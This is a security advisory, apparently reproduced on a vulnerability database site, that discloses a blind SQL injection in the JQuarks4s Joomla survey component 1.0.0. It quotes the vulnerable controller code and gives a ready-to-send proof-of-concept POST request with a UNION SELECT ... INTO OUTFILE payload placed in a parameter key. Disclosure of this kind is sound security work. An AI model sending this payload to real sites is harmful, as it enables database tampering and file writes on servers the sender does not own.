JQuarks4s Joomla Component 1.0.0 Blind SQL Injection Vulnerability
Name JQuarks4s
Vendor http://www.iptechinside.com/labs/projects/list_files/jquarks-for-surveys
Versions Affected 1.0.0
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-08
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
A Joomla 1.5 free and open source tool for online surveys
and statistical analysis.
II. DESCRIPTION
_______________
A parameter is not properly sanitised before being used
in a SQL query.
III. ANALYSIS
_____________
Summary:
A) Blind SQL Injection
A) Blind SQL Injection
_______________________
Input passed to the "q" parameter in when "option"
is set to "com_jquarks4s" and "task" to "submitSurvey" is
not properly verified before being used in a SQL query.
This can be exploited to manipulate SQL queries by
injecting arbitrary SQL code.
The following is the vulnerable code (controller.php):
function submitSurvey()
{
// get post data
$data = JRequest::get('post');
...
$questions = $data['q'];
// debug
//var_dump($data);exit;
foreach ($questions as $question_id => $question) :
$type_id = (int)$question['type_id'];
switch ($type_id) :
...
case 4:
// recuperer les row_id du question_id
$rowsDB = $sessionModel->getRows($question_id);
So, $question_id is a key of the array "q" and type_id
his value. Therefore the injection is possibile by
inserting arbitrary SQL code as the key of the array and
4 as his value.
IV. SAMPLE CODE
_______________
A) Blind SQL Injection
Try to send the following packet to your test server.
Ensure that magic_quotes_gpc is set to off in order to
use the following test.
POST /path/index.php HTTP/1.1
Host: target
Content-Type: application x-www-form-urlencoded
Content-Length: 97
option=com_jquarks4s&task=submitSurvey&q[-1 UNION SELECT 0x414141 INTO OUTFILE '/tmp/trycopy' ]=4
Note that if you want to use the '=' character, you must
covert it in URL encode format (%3D), otherwise the value
4 needed for the injection cannot be read.
V. FIX
______
No fix.
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation